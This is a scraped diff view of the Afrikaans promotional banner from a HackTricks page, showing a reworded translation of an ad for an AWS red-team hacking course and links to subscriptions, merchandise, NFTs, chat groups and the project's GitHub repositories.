|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue